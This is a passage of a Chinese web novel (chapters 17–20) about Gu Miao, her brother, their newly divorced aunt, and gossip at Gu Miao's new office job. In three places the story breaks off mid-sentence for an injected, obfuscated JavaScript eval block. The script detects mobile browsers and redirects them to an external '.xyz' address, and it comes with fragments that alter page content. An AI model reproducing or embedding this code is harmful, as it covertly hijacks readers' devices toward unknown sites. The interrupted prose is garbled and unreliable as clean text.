顾肖果然是惦记那双鞋很久了,一进店叫服务员拿号,试了之后觉得没问题立刻拿下,不到二十分钟,俩人就提着鞋盒子出了门。 “你们这些球鞋迷,不是都得买啥有纪念意义的吗?乔丹这个,乔丹那个的,你怎么跑专卖店来?”顾妙迷惑不解。 顾肖冷冷地“哼”了一声:“你当我不想呢?我倒是能买得起啊!有新鞋穿就知足了。” “那你以后加把油,挣大钱自己买吧,收藏个全套好出去嘚瑟。” “借你吉言!”买了球鞋之后,顾肖明显心情好多了,偏头看了顾妙一眼,“你那老板,魏如栩是吧,看着也不像缺心眼的样儿,怎么就能信你是四十岁大姐,还能信你是我妈?搞不好人家早看出来了,你还在这儿独自内疚。” 提到这事儿,顾妙跟霜打的茄子似地:“我怎么知道?你那个盛缘不也误会了吗?” “误会个毛,她那是跟我演呢!我早就跟她说了咱家的情况,她要不是失忆,就不可能不记得。” 提起这事儿顾肖就心累。 顾妙一怔,心中突然有种报复的快感,哈哈大笑:“我说你怎么解释得那么快,是怕人家以为你之前撒谎博同情吧?” 叫顾肖这么一说,顾妙不由地有点佩服盛缘。即便怀疑,她也没有直接上来质问拆穿,省得大家都不好看,还能配合演出,更用这种全身心的投入吓得向来镇定的顾肖三魂七魄乾坤大挪移。 如此智勇双全,真奇女子是也! “那当然,我这么品行高洁,怎么能让人以为我是撒谎精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459394|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?还是个靠卖惨追妹子的loser?绝对不能够!”顾肖一脸义正辞严,仿佛刚刚洗清一个莫大的耻辱。 顾妙一脸姨母笑:“你俩到什么程度了?进展快吗?” “哪跟哪儿啊!”顾肖一脸嫌弃,“不是我说,姐,你这笑容有种超出了你年龄的猥琐,跟油腻的距离就差一颗媒婆痣了。” “关心你啊,你要没把握,姐姐我帮你嘛,毕竟我也是个女孩子,放着现成的外挂不开,你是不是傻?”顾妙才不管,一把挽住顾肖的手臂,贱兮兮地说。 顾肖把她甩开,迈开大长腿向前走去,顾左右而言他:“赶紧的,再不走吃饭要等位了。” 顾妙一路小跑追上去:“你那‘灰姑娘’唱给她听了吗?” 顾肖:“……” 这顿饭顾妙吃得真心欢乐,从顾肖嘴里抠出各种碎片,拼出一个令人心旷神怡的八卦。 顾妙了解顾肖,他这个人脸上一个操场,心里一座迷宫,各种百转千回跟大脑沟有一拼。他向来谋定而后动,一切都要稳妥推进,绝不轻率冒失。 虽然他也是母胎solo,但那跟顾妙毒草一般的人生不同,这是他个人选择的结果。 从初中到高中,无数妹子给他写过情书,但此货自命不凡又眼高于顶,一个都没看上,于是自矜自贵地从没谈过恋爱,十分遵守中学生守则,成了一朵德智体美劳全面发展的高岭之花。 按他处女座的尿性,能吸引他的女孩性格好有教养那是起步标准,外貌和才华缺一不可,如果对方聪明机智情商高,那真是锦上添花了。 盛缘恰好就是一个各方面都很符合顾肖理想女友标准的姑娘,出现得又是这么是时候,竟然还将要跟他上同一个大学,这如果不是天赐良缘还能是什么?! 所以顾肖在追求之路上十分谨慎,要求自己必须把握好分寸,在不让姑娘觉得被冒犯的前提下,恰如其分地展现出他自己的各种魅力。 可顾妙听到这儿,总觉得面前站了一只拖着尾巴将开屏不开屏的花孔雀,小心翼翼得让人累得慌。 所以谈恋爱这种事就得讲究个性格合适,像顾妙这种行动派,要的是个直爽,喜欢谁就上前表白:“爷看上你了,你怎么想?行的话咱俩试试?” 要是她遇见顾肖这种太极派,早一脚踹出八丈远了。 不知道这位盛缘姑娘是哪一派,但今天这短暂的相见,顾妙隐隐觉得她可能吃顾肖这一套,还有可能在后期反杀,牢牢治住这货。 这倒是她喜闻乐见的! 顾妙脑子里出现了一幅画面,来自于一首传唱已久的民歌,“我愿你拿着小小的皮鞭,不断轻轻打在我身上……” 两人此刻已经进了自家住宅楼,正往楼上爬,顾肖见顾妙忽然露出如此惊悚的笑容,本能地离她远了点:“你脑子里演什么小电影呢?” “十大酷刑。”顾妙自娱自乐着,不由地哼起了小曲儿。 他们刚上了自家那一层,还没顾上跺脚唤醒声控灯,漆黑的楼道里就听一个带着鼻音的沙哑嗓音突然说:“顾妙你唱歌忒难听了。” 姐弟俩齐齐吓了一跳,一瞬间顾妙护在顾肖身前,而顾肖抱紧怀里的鞋盒。 那声音大声咳嗽了一下,声控灯应声而开。 顾妙和顾肖异口同声:“小姨?!” 凌晏如穿着条长裙坐在地上,背靠着她巨大的行李箱,一头长卷发乱得堪比渔网捞上来的海草,小脸皱巴得仿佛一颗风干的柠檬,鼻尖红彤彤的,而地上是一片瀚如星海的纸巾团。 “你怎么回来了?也不给我打电话?在这等多久了?”顾妙赶紧扑过去,把她从地上扶起来,“没国内手机号是吧?那你好歹蹭个网跟我们说声呀。” 顾肖掏了钥匙立刻开门,把行李箱先拖进家里。 “一进市区我就办了电话卡,没想着这个点儿你们会不在家。不过我猜你们可能出去有什么事儿,在这儿等会儿也没关系,省得你俩再着急忙慌往家赶。”凌晏如声音沙哑,像是哭了很久似的,她坐在穿鞋凳上,被玄关的灯一照,显得脸色煞白,只剩一个红鼻头。 “为什么办电话卡?”顾肖准确抓住重点,“你不走了吗?姨夫呢?” “嗯,他出轨,我离婚,回归祖国母亲的怀抱。”凌晏如挤出一丝微笑,“麻烦你们两个小崽子收留我了。” 顾妙顾肖诧异地面面相觑,又是异口同声:“打死那个臭不要脸的!” 18. 第十八章 凌晏如 凌晏如同志消失的这一个星期,她的人生发生了重大转折。 简而言之,就是发现丈夫出轨,而小三已经怀孕。公婆对凌晏如不能生育的事情向来颇有微言,现在态度如何可想而知。 作为硬核少女她小姨,凌晏如的性格也是眼里不揉沙子,一没哭二没闹,克制住一切负面情绪,理性地提出离婚,并且闪电般办了手续。 她丈夫本以为要面对一场腥风血雨,没想到她的态度如此轻描淡写,甚至可以说是非常友好了。 他担心这是暴风雨前的宁静,小心翼翼地向凌晏如表达了歉意,毕竟这些年两人感情都很好,走到现在也不容易,只是自己的一时不小心,责任都在他,可孩子是无辜的,他必须要负责blabla…… 昔日枕边人一朝变得如此陌生,凌晏如没觉得难过,只是感觉可笑。 现在看他的笑容,他的道歉,他在分财产上的大方,一切都是那么虚伪。他所做的所有的事,不过就是想快点跟她撇清关系,让她麻利走人。 凌晏如是个性情中人,两个人只要感情好,对方对她真心实意,她除了人格尊严,付出什么都可以。 可是如果感情变了质,她绝不死缠烂打,收拾好自己碎了一地的真心,走得头都不回。 感情这东西勉强不了,苦苦哀求纠缠不清,只能让自己看起来面目可憎,可怜又可悲。 她这辈子不怎么稀罕钱,也不太追求什么名声地位,要的就是一个体面。 也许前夫心里还念着点旧情,在财产分割上非常大方,不顾父母和小三的反对,将夫妻共同财产的百分之七十给了凌晏如,剩下的百分之三十,他还得留着养孩子。 鉴于这些年家里的饭馆都是她在打理,每天忙得团团转,凌晏如并没有假大方,这百分之七十拿得毫不含糊且问心无愧。 手续办妥,她就变卖了属于自己的所有物品,剩下一些贴身物件装在拉杆箱里一并带回了国。 澳洲是冬季的寒冷苍茫,萧索得如同凌晏如此刻的心情。 而在祖国机场一落地,扑面而来的是带着一丝潮湿的热情,欢天喜地地将她整个人包裹起来,渐渐融化了她那颗险些冻死的心。 心上的保护层化了,痛觉准确无误地通过反射弧传达到了凌晏如的大脑神经,出关拿到行李的那一刻,她的眼眶就无可抑制地酸了起来。 她反反复复地对自己说:“回家了,再也不用怕了。” 凌晏如的心情突然就激动起来,恨不得对每一个见到的同胞都报以微笑,她对机场工作人员笑,到了手机营业厅,对营业员笑,在出租车上对着司机也笑,笑得司机师傅只问她:“姑娘,有什么喜事儿啊这么高兴?” “没啥,就是觉得回家真好。” 司机师傅是个五十多岁的老大爷,笑眯眯地从后视镜里看着她:“就是,哪儿都不如咱自己家好!” 凌晏如望着车窗外一闪而过的风景,觉得这里的喧闹如此可亲。 走的时候她28岁,七年过去了,35岁的她回到了熟悉的地方,仿佛一场大梦醒来,过去这些年的时光突然间变得模糊。 那些爱与恨,真的存在过吗? 当她提着行李费劲地到了顾妙家门口,发现两个崽子都不在家,一股失落之情油然而生,胸口那股被她生生压抑了一周的情绪再也按捺不住,决堤一般泛滥成灾。 凌晏如坐在地上,背靠着抵着门的箱子,释放地大哭起来。 许是隔壁一家没有人,反正也没人管她。凌晏如哭累了,又抽泣了一会儿,正觉得泪痕干在脸上难受、浑身热得不行想洗个澡的时候,俩孩子恰好回来了。 她挑挑拣拣地把大致情况跟顾妙顾肖说了一下,怕他们担心,露出个轻快的笑容:“别担心,旧的不去新的不来,反正小姨我现在不差钱,一人生活轻松没烦恼。” “你不住家里吗?”顾妙坐在她旁边,疑惑地问。 凌晏如:“最近借住两天,等回头我在附近找个公寓住。” “这是干嘛?嫌弃我们家老房子?”顾妙抬头看了一眼站在旁边挡住灯光的顾肖,“这货九月份就去上大学了,再说就算他不走,家里还有空房间啊!” “这你就不懂了吧!”凌晏如吸吸鼻子,拍了拍顾妙的手,贱兮兮地笑,“跟你们住在一起,多影响我焕发第二春!” 顾妙和顾肖面面相觑:“……” 小姨计划挺周全的,我们不用替她担心了。 凌晏如洗完澡,瘫在顾妙的床上,身体很疲惫,但精神有点兴奋。 她看见顾妙把大衣柜下面的纸箱子拖出来,翻箱倒柜地找着东西,好奇地问:“你找什么?” 顾妙蹲在地上,一本本翻着箱子里的书:“找我大学课本,现在就感觉四年大学白上了,什么都没记住。郁闷,好些专业课的书都卖给下一届学妹了,真是悔不当初!” “找课本干嘛?要考试吗?”凌晏如坐起来,忽然想起什么,“对了,你那一万五……” “嗯,今天就是第一天上班。”顾妙失落地把箱子收好,用脚怼回衣柜下,茫然地坐在床上,如此这般地把相关事情跟凌晏如更了个新,“小姨,我什么都不会,心虚得要命。” “不会就问呗,这有什么的。”凌晏如再次躺下,枕着自己的手臂,“你就说以前没做过助理或者不了解公司情况,大胆向周围同事寻求帮助。” “可我不是应该装作很有经验的样子吗?” “经验又不是放诸四海皆准,每个公司都不一样,不懂装懂才麻烦。”凌晏如看着天花板,“反正你都打算要坦白了。” “这倒也是。不过我是真想帮帮魏如栩,看他怪可怜的,妈妈早早就去世了,爸爸这又生病,他也是什么都不懂,又想撑起整个公司。”顾妙也躺下,拉过空调被给凌晏如盖住小腹,“我一个做员工的都有点害怕,别说他心里得什么样了。” 凌晏如扭头看了看顾妙,坏笑:“丫头,突然间母性大发,什么情况?” “没什么情况,瞒了他,想补偿。我不想欠别人的。” “嘁,这有什么欠不欠的,人家未必当回事。” “我当回事就行。”顾妙咬着嘴唇,心想着回头买点专业书看,可是她都学过什么课程来着…… 连这个都想不起来,能怪之前面试她的那些公司不给她机会吗?想到这里,顾妙心里负罪般的难受,又自责又后悔。 凌晏如看到她的表情,想着这丫头又钻牛角尖了,侧身拍了拍她的手:“你这又不是技术工种,担心什么?做助理上传下达接待客户,发邮件做会议记录你不会?慢慢学就好了啊!” “对了,小姨,你不是学过MBA吗?工商管理硕士耶,还不快指点指点我!”顾妙突然想起这事儿,像发现了什么宝藏似地拉住凌晏如的胳膊,满怀期待地看着她。 凌晏如嘴角抽搐了一下,真是往事不堪回首。 当年她一心想念中文系,但是父母觉得学财务好就业,逼着她报了会计。她一个高考数学才考89分的人,从此踏上了不归路。 说起来会计也没什么高深之处,毕竟不需要搞什么数学模型,就是需要细心,有耐心,对数字敏感一点。 可偏偏这三样凌晏如全都不具备。 从小因为粗心错过的数学题不计其数,长大更是因为耐不住性子,看那些什么矩阵、N次元方程和解析几何就头大,连题干都没有耐心审的人,还有什么资格谈解题?! 凌晏如大学上得痛苦不堪,一上课不是睡觉就是暗搓搓地写小说,可惜她又比较懒,想象中的鸿篇巨著没有一部完成的,“雨打沙滩万点坑”,毕业时候带了一电脑文坑走,之后也没有一部能被填上。 她怀着写小说的梦在公司做了三年财务,做得她人生再也不想看见数字。为了离开这个鬼地方,将来不再从事这个鬼职业,她选择了考研。 可凌晏如是学习的材料吗?明显不是。 跨专业考普硕的话,背政治已经是个难关了,还要自学两门专业课,如果她有这个本事,早就成学霸了,还用现在再来逆天改命?! 于是她选择了读专业硕士,高大上的MBA,正好要求相关专业本科毕业有三年工作经验,考试内容只有综合卷和英语二。 综合卷包括初等数学、逻辑和论述作文,虽然数学和逻辑是凌晏如的短板,但一大一小两篇论述作文算是她的强项! 更何况,她看了历年的统招国家线,满分三百分,只要考一半就成。所以算来算去,她的综合卷只要能拿到一半的分数,那还不胜券在握? 正逢那几年很多院校都纷纷开设MBA课程,学费要比北大清华低三分之二,录取面试也简单,有的学校甚至连无领导小组讨论这样的过程都免了。 凌晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459395|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如就这么混了过去,拿到了一所本科时她无论如何都考不上的学校的录取通知书。 一上学才傻了眼,发现根本躲不过数学的折磨,而且跟她本科课程相比,很多都是重复的。什么财务管理、统计学、管理运筹学,凌晏如看到这些“最熟悉的陌生课”,内心泪如雨下。 好在国内MBA教学跟国外学了很多,与普硕相比偏实践,上课也以案例分析为主,学生自由结合成学习小组。 凌晏如又是最会跟人打交道的,自认自己学习能力差了点,一把把做PPT等体力活儿扛上身,就这么混过了一门门课程的小组作业,再发挥她的写作和忽悠特长,成功通过了毕业论文答辩,拿到了毕业证。 念个专硕让她成功地混过了三年,可是毕业后凌晏如再次迷惘。 原本MBA值钱是因为人数少,矜贵,可那一年光他们学校就毕业了一百多号人,更别提还有同期招生的其他院校。 竞争自然是争不过北大清华人大中欧等真正的高材生,而凌晏如后知后觉地意识到,自己并不想成为什么走路带风的白领英豪,当年她只是想不再做会计而已。 可绕了三年,她发现自己能选择的职业依旧少得可怜,要么就彻底转换领域,让之前的所有经历全部作废,从零开始。 如果有时光机的话,凌晏如恨不得回到高三,坚决选择中文系,至少可以少花这些年的冤枉钱。 恰巧这个时候她遇上了前夫,恋爱谈得起劲,一言不合就结了婚。 前夫是个工程师,技术型人才,恰逢机会合适,申请了技术移民去澳洲,也很快通过了雅思考试。 夫妻俩一起去了澳洲,本以为意气风发大干一场,谁知前夫并不适应在当地的工作,屡受排挤,一度灰心丧气。最后他们东拼西凑凑了点钱,开了一家中餐馆。 两个能称得上高级知识分子的人本来并不甘心就此向人生妥协,尤其凌晏如的前夫,不想放弃从事了那么久的专业。但想想至少自己当老板不用受气,也就半推半就地干了起来。 凌晏如性格爽朗,加上专业相关加持,把一个小饭馆盘得团团转,虽然很累,但看着这个小馆子从四张桌子变成二十张加八个包间,她心里还是很有成就感的。 没想到这一切又成了空。 而她原本想当旅澳作家的愿望更是远得仿佛看都看不见了。 凌晏如有些郁闷,选错了专业,她耽误了十年,选错了男人,她耽误了七年。十七年过去,要是个小孩都能备战高考了,可她却一事无成,又回到了原点。 钱也不代表什么,毕竟那是会花光的。 想到这里,她的眼眶又有点发酸,伸手把顾妙的脸推到一边去:“指点什么,早忘干净了,回头倒是可以指点你买几本书。” 顾妙这人,不管是性格还是作风,完美遗传她姨,姨甥俩内心一样的傻大憨粗,从来都不是学习的料。 当年顾妙报志愿的时候,凌晏如就苦口婆心劝过她不要学工商管理这么花瓶的专业,顾妙不听,死活就要为了当未来的CEO而努力。 当她坐在高数课堂上发蒙的时候,并没有想到后面还有线性代数、概率论和数理统计排着队等着虐她呢。 不听老人言,可不就是吃亏在眼前么! “我也知道看书没什么用,都是理论知识,属于‘道理我都懂’的范畴。”顾妙自言自语道,“大仙王守仁同学说过要知行合一,可怎么才能做到呢?” 凌晏如没吭声,顾妙想了想,继续说:“估计光看管理类的还不行,搞不好还得找点文秘专业的书来看看。” 她立刻拿起手机在网上搜,看文秘都学什么,接着在网站上找了几本秘书实务、人际关系学之类的书扔进购物车,看了一眼价格,倒吸了口凉气,决定放两天再下单,搞不好还能有折扣。 接着她又安慰自己:“为知识而买单不算乱花钱,这些钱就当投资了。小姨你说是吧?” 并没有人理会她,顾妙起身一看,背对着她的凌晏如不知道什么时候已经睡着了。 此时的她卸下了一直挂在脸上的微笑面具,眉间微蹙着,像是梦里还在愁着什么。 顾妙想像小时候那样,在她脸颊上亲一口,凑过去的时候看到她的眼角有泪水滑落。 “可怜的小姨,以后我罩着你。谁要是再敢欺负你,我就把他的心给挖出来。”顾妙恨恨地想。 19. 第十九章 八卦 上了几天班,顾妙仍旧觉得闲得有点发慌,毕竟别人都看起来那么忙碌,就她似乎没什么事做,确实别扭。 就在她在座位上像只蚯蚓一样扭来扭去的时候,坐在里面办公室的魏如栩发话了,顾妙求仁得仁地得到了工作委派。 “发传真?”她有些茫然地看着魏如栩,心想这年头还用得着发这玩意? 魏如栩见她没反应,疑惑地问:“有问题?” 顾妙:“呃……” 她一时间有点慌,总不能说自己不会吧?! “对了,大型打印机和传真机等办公用品都在楼下,那一排会议室出来就能看见,有个小格子,我们叫‘工具间’。不知道你有没有留意,要不我亲自带你过去?”魏如栩看着她,体贴地说。 顾妙连连摆手:“不用不用,我知道在哪儿。这文件对方着急要吗?” “今天发过去就行。”魏如栩笑了笑,“因为上面有个章,所以他们才要传真,不然可以直接发电子版。说实话我都不会用传真机,妙妙姐你应该会吧?” “呵呵……还行。”顾妙咬紧牙关,做胸有成竹状,随即假装疑惑,提出建议,“扫描之后发过去不行吗?” “我问过了,说是不行,就要传真。”魏如栩一脸无奈,“辛苦你了。” “不辛苦,应该的。”顾妙顶着一脸假笑,拿着文件回到自己工位前坐下,打开电脑就是一通搜索“传真机用法”。 网上倒是不少教程,可是顾妙浏览了好几篇,看得脑子有点懵。一看到了午饭时间,她顿时来了灵感,抄起手机就往外跑去。 这栋写字楼旁边就是一个大商场,顾妙在楼下看了牌子,稳准狠地找到了销售打印机传真机的区域。 她假装要帮单位采购传真机,认真地向导购小姐请教起了传真机用法。 估计现在传真机销路不怎么样,导购小姐见有客户上门,打起了十二万分的热情,详细地讲解起使用方法来。她看到顾妙那双比猪蹄还笨的手在机器上摸来摸去总摸不到地方,恨不得要手把手地教。 人工讲解的确比在网上看经验具象立体多了,顾妙很快搞明白了用法,问道:“不同牌子的传真机操作方法都差不多吧?” 导购小姐一愣:“您……不是说要买这款吗?” 意识到自己说秃噜了嘴,顾妙有点不好意思,强行挽尊:“啊,那个,我是负责采购,但还是得先给老大汇报,让老大来拍板,你懂的。” 导购小姐见多识广,自然懂这话的意思是“拜拜了您呐”,感觉自己一腔真情终究是错付了,又气自己为了营业额竟然如此大意,竟着了别人的道,瞪着一双含恨的大眼,目送顾妙离去。 顾妙自然没敢多看她,撂下刚才那句话便夺路而逃,直到走到货架尽头,还感觉到导购小姐那双镭射眼的目光如芒在背,往后有好一段时间都不敢来这个卖场,生怕被当场活捉。 回到公司“工具间”,顾妙哆哆嗦嗦把那台老旧的传真机研究了一下,生怕一个操作不当,再把这堆老骨头给弄散架了。 结合刚才的真人教学和网上经验指导,她觉得差不多掌握了操作要领。等到上班时间,她赶紧联系了魏如栩给她的电话,成功发送了人生第一个传真,觉得还挺有成就感。 自信心都是这么一点点积累起来的,办成了第一件事儿,不管事大事小,都多少给了顾妙一些信心。 因此,当她回到工位上再度没事儿干的时候,也不像之前那么忐忑不安了。 一步一步来嘛,顾大心这么安慰自己。 她用了一天时间大概研究了一下公司的组织架构,但是光看照片不见人,实际上那些大脑袋她只认得廖玄以及高层最出名的大美女、媒介部总监丁萧然,其他人真是看一遍忘一遍。 于是有天在休息区吃午饭的时候,顾妙悄咪咪凑到了行政部小王旁边,没话找话地跟她聊了半天。 小王这姑娘上班没几年,也没什么城府,平日里在行政部也不算忙,对于公司的大体情况还算了解,于是对顾妙知无不言言无不尽。 她甚至还告诉顾妙,公司的人都以为顾妙跟魏如栩有什么亲戚关系,所以才能像他一样空降公司,连HR那边都不用过。 这也算在顾妙意料之中,要不然上了几天班,所有跟她在工作上有交流的人全部都对她客气有加,礼貌而冷漠。 顾妙正想找机会澄清这个误会,只有让人知道她不是黄马褂,她才能如水滴汇入江河那般融入这个公司最基层的圈子里,获得更多的一手信息。 这一点对于魏如栩掌握公司情况明显是至关重要的。他虽然没有给顾妙下指示,但顾妙觉得,自己作为一个贴心能干的助理,替老板了解公司动向义不容辞。 所以她也掏心掏肺告诉小王,自己其实跟魏如栩就是萍水相逢。 她把那天在酒吧跟魏如栩见面的情况添油加醋地描绘了一遍——自然没提她的真实年龄——她把当时的魏如栩说得楚楚可怜,就像被饿狼撵得无处可逃的小绵羊,换了谁都不能冷眼旁观。 小王对高层的事情也略有耳闻,连忙附和,跟顾妙说了一大堆八卦。 她说之前老魏总就是跟廖玄在某些问题上不能统一,两个人常常在会议室吵架。会议室那墙根本不隔音,大家都听得一清二楚,只是装作什么都不知道。 “他们不是多年搭档吗?吵得这么凶?”顾妙假装诧异。 “结婚三十年的夫妻还有离婚的呢,何况这合作还不到二十年的搭档。”小王脸上浮现出一种与她稚嫩的脸庞不相称的看破红尘的表情,“具体吵什么我也不能确定,但大概就是公司发展方向上的事。” “有时候我也好奇,他们两个怎么成为搭档的,老魏总性格特别宽厚,看起来很慈祥,跟我们基层员工说话也都很客气,就像家里的长辈。可廖总就总是一副高深莫测的样子,说起话来云山雾罩,总让人猜,给人感觉油腻腻的,像只滑不溜手的泥鳅。” “看来大家对廖玄的评价还挺一致的。”顾妙心想。 小王忧心忡忡地凑到顾妙耳边:“其实我们私下里也讨论过,觉得老魏总这次生病病得实在不是时候。大家都怕廖玄趁这个机会搞分裂。他要是带着客户部集体出走,咱们公司就完犊子了。” 顾妙看着她一本正经的样子,打趣道:“看不出来你们对公司忠诚度这么高?” “那倒没有,我们都是基层小员工,咸吃萝卜淡操心。”小王摆摆手,“就是有点代入宫斗戏的感觉你明白吧,不想奸相当道,把好好的公司搞得一团糟。尤其见了小魏总之后,好多女同事那叫一个上头,就担心这么漂亮的弱质少年,怎么跟廖玄那只老泥鳅斗啊!好多人都快成小魏总的妈妈粉了。” 这是什么同事,简直就是追星女孩,像极了第一次见魏如栩的自己,看来天下英雄所见略同啊有没有! 顾妙强压住内心躁动的情绪,装作好奇地问道:“你们以前没见过小魏总吗?” “资历老的前辈说见过,都好几年前的事儿了。小魏总不怎么来公司,听说他一直在国外留学,学的也跟公司业务没关系。”小王表情夸张地说,“那天他我第一次在公司见到他,还以为是哪个广告模特呢,一楼女员工眼睛全直了!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459396|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这么夸张嘛?!”顾妙配合地露出姨母笑。 “听说小魏总是学艺术的,本来长得就好,再加上气质超赞,配上他凄惨的背景故事,哪个适龄女子不脑补出一部爱情小说来?反正什么甜宠啊宫斗啊题材多种多样。” 小王姑娘托着腮做遐想状,不知道她老人家脑子里摊开的是一部什么题材的小说,神游太空几秒钟后她突然反应过来,“妙妙姐,你真的对小魏总一点不了解?” 顾妙无辜地摇了摇头:“真的,就是当时看他无助的样子有点不落忍,那小眼神跟家里养的小狗似的,一时间母爱泛滥,再加上我确实正在找工作,也觉得挺合适的,就答应了。” “那倒也是,你们也算挺有缘分的。不过依我看,小魏总就是怕自己不赶紧招人,廖玄就会往他身边安插耳目,所以先下手为强,免得后下手遭殃。”小王神秘兮兮地说,“万一搞个像马屁精车翔那样的来就麻烦了。” 虽然小王确实天赋异禀,猜的答案基本正确,可是顾妙看见她那煞有介事的模样还是有点忍俊不禁:“你们这么喜欢小魏总,没人主动出击吗?” “嗨,这是老板,你当普通人呢?再说他才来不到一个月,大家也不知道他什么脾气,虽然看上去跟老魏总一样好相处,到底也是个富二代,哪是那么好接近的?!估计一部分人都在观望,另一部分人根本就想过要有什么行动。”小王故作老成地叹了口气,“想象归想象,生活是生活,那天仙一样的人儿我们哪配,还是佛一点,别有什么不该有的奢望。” 顾妙的同学当中也有不少佛系青年,跟小王的口吻简直一毛一样,什么“在这浮华喧扰的人生路上,我只愿做一名孤独的行者”,什么“知足的快乐其实才是拥有”,什么“任他姹紫嫣红千帆过,我只低头行我路”,不一而足。 看到其实比自己只大两岁的小王如此佛系,想想自己整天跟屁股上拴了一串二踢脚似的风风火火,顾妙心中不免五味杂陈,仿佛显得自己很不踏实似的。 聊八卦果然是拉近同事间距离的最好办法,午休这一会儿聊下来,顾妙跟小王几乎已经无话不谈,好得像姐妹俩,问清楚了对方的血型星座甚至喜欢的爱豆,还彼此分享了歌单——这在很多人看来,已经属于隐私了,是只有比较亲近的朋友才能交谈的话题。 不过在被问起年龄的时候,顾妙矫情地卖了个关子,声称自己永远十八岁。 小王的目光下意识地掠过顾妙的泰迪卷和花裙子,约莫心里有了判断,善解人意地笑着说:“对,心理年轻才是永远的年轻!” 严格算起来,顾妙也不是什么职场新人,毕竟她的打工经验非常丰富。工作不分贵贱,同样,不论工作场所在哪,有人在,就有江湖。 在江湖上,是不提倡交浅言深的,所以她心里也明白,不管现在她跟小王看起来多么倾盖如故,她们也不可能真正交心。 顾妙跟小王聊这么多,其实也不过是希望能通过她,把自己和魏如栩之间其实没什么关系的事情传播出去,以便于她能够尽快跟公司同事打成一片。 小王也没辜负她的信任,不到两天的时间,公司里女同事们看顾妙的眼光果然跟之前不一样了,没有那么拒人于千里之外,甚至还有人主动跟她打招呼。 顾妙心满意足地坐在工位上,端着一杯水缓缓喝着,觉得自己可有智慧了,轻松解决了眼前尴尬的现状,准备成功打入员工内部,现在志得意满,连普通白开水喝起来都觉得甜。 魏如栩从外边溜溜达达地进来,像听了什么冷笑话似地冲她一乐:“妙妙姐,你知道吗,他们都在传,你是我刚刚回国的姨妈!” 20. 第二十章 狭路相逢 顾妙一口水含在喉咙里差点没被呛死,咳了半天把一张圆脸咳成了大番茄,魏如栩又是递纸巾又是给她拍背,看上去倒真是个孝顺的外甥。 这时候两个女员工从总经理办公室门前经过,好奇地往开着的门里一瞥,就看到了这一幕,还跟顾妙看了个对眼,简直坐实了她跟魏如栩的关系。 顾妙看到她们脸上那八卦的表情,顿时连死的心都有了。 什么玩意儿?我是要澄清谣言,不是要制造谣言啊! 这什么破公司,传谣的脑洞这么大? 怎么不说我是九天玄女,特意下凡来拯救魏小少爷呢? 魏如栩乐得前仰后合:“他们说得有鼻子有眼的,简直是编了部家族企业争权大剧,比当年TVB那些都夸张。还说目前的情况是我爸在背后一手操纵,他不想跟廖玄这个好搭档撕破脸,所以关门放我这个四六不懂的纨绔子弟来咬人,再加上你,亲戚and海外精英归国相助,等把廖玄打得满地找牙的时候我爸再出来做和事佬,万事大吉。” “你没澄清吗?”顾妙好容易止住咳,喘匀了气,赶紧问道。 “听墙角还跑出来澄清,那不是暴露自己了吗?”魏如栩摆摆手,“好像还不止这一种说法,我可解释不过来。” “还有什么说法?都说什么了?”顾妙觉得自己要疯。 “没记住别的,就记住这个最有特色的。唔,创意部那帮人想象力丰富,确实是人才。”魏如栩一边说一边笑,摇摇晃晃进了自己办公室,似乎真的一点不在意。 这个最有特色,那别的是不是还有更离谱的? 顾妙一下午坐立难安,时不时出去到一层办公区溜达一圈,想探听点情况。 可她毕竟算是当事人,谁也不会当着她面说这事儿,而她一时之间也没遇上什么听墙角的好机会,各种猜测滚雪球似地在她脑子里越滚越大,险些让她大脑直接死机。 直到晚上去了酒吧兼职,顾妙还一直晕头转向地想公司里还有什么关于她的说法,想得连着调错了好几杯鸡尾酒。 服务生川子气得七窍生烟,端着托盘和被退回来的酒,看样子很想往顾妙脸上泼。 小刘一把抓住顾妙伸向雪克壶的手腕,本来瘦得只有四指宽的小脸,此刻浓缩成了一颗皱巴巴的核桃:“妙妙姐,你饶了我们吧,回头老板看见物料消耗对不上,又得找我们麻烦。” “哦。”顾妙大脑转成一片空白,小刘的话她基本没往脑子里进,被人阻止之后就下意识地站在一边,靠在酒柜上发呆。 这时候小刘忽然对她又是一通乱锤:“姐,你看,那个是不是你老板?!” 顾妙木然地看向他:“什么老板?” 小刘扳着顾妙的脑袋往左转了四十五度:“那边卡座里,是你那个魏老板吧?” 顾妙顺着小刘指示的方向望过去,果然看见魏如栩坐在卡座里,正低头玩手机,身上穿的不是白天上班的那套,而是更街头的一套打扮,应该是约了朋友见面。 魏如栩仿佛感觉到有人在看他,转头向顾妙这边看过来。 